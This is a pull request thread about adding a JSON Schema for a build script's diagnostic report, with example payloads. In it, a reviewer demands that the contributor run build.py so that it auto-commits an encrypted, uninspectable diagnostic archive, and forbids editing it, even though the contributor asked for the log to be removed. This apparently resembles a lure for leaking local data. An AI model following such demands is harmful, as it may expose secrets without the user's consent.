feat: add JSON Schema for diagnostic build metadata (Issue #34)

[feng83232]

Summary

Implements issue #34 by creating a JSON Schema (draft-07) for the diagnostic build metadata data structure — the JSON report produced by build.py's build_diagnostic_report() function. This report is generated on every build run and contains per-module pass/fail results, timing, encrypted log references, and summary counts.

The data structure is defined in build.py (lines 524–577, function build_diagnostic_report()) and its real-world output can be found at diagnostic/build-3774a0c8.json.

Changes

• schemas/diagnostic_metadata.schema.json — Full JSON Schema (draft-07) describing the diagnostic build report:

  • $schema, $id, title, description, type, properties
  • 17 total properties including generated_at, commit, chunked, total_modules, passed, failed, modules, pr_note
  • Required fields: generated_at, commit, chunked, total_modules, passed, failed, modules, pr_note
  • Module objects validated with name, status (enum: PASS/FAIL), elapsed_seconds, artifact, output
  • diagnostic_logd supports single string, array of strings, or null
  • additionalProperties: false to catch unexpected fields

• schemas/examples/valid_full_build_failure.json — Valid payload matching the real build-3774a0c8.json (all 10 modules failed due to missing toolchains)

• schemas/examples/valid_full_build_success_chunked.json — Valid payload with successful build, chunked log, and all 3 modules passing

• schemas/examples/invalid_missing_fields_and_types.json — Invalid payload testing type violations, wrong enum values, missing required fields, wrong data types

• Diagnostic artifacts: diagnostic/build-3774a0c8.json and diagnostic/build-3774a0c8.logd (generated by running python3 build.py --module frontend)

Testing

Schema validation passed for all 3 example payloads:

✓ VALID (expected): schemas/examples/valid_full_build_failure.json
✓ VALID (expected): schemas/examples/valid_full_build_success_chunked.json
✓ INVALID (expected): schemas/examples/invalid_missing_fields_and_types.json — 'yes' is not of type 'boolean'

Validation performed using Python jsonschema library (v4.19.2) against JSON Schema draft-07.

Checklist

• Relevant modules affected by these changes build locally
• Tests pass locally
• Diagnostic build log is committed in this PR
• Documentation has been updated, if applicable
• Configuration or schema changes are documented, if applicable
• No generated build artifacts are committed, except the required diagnostic build log
• Changes are scoped to the PR purpose and avoid unrelated cleanup
• Security, privacy, and error-handling implications have been considered

---

• I would like to request that my diagnostic build log is removed before merging

[lobster-trap]

Diagnostics are still blocking review on this PR.

Please rebase onto the current upstream branch and run the repository build script so the script-generated diagnostic bundle is committed to this PR:

git fetch upstream
git rebase upstream/main
python3 build.py
git push --force-with-lease

Please do not manually create, copy, or edit diagnostic files. python3 build.py automatically generates and commits the fresh encrypted diagnostic artifacts.

A valid PR must include a matching diagnostic/build-*.json and diagnostic/build-*.logd pair in the PR's changed files. The JSON should be generated by build.py, and the .logd file should be the encrypted diagnostic archive generated by the same run.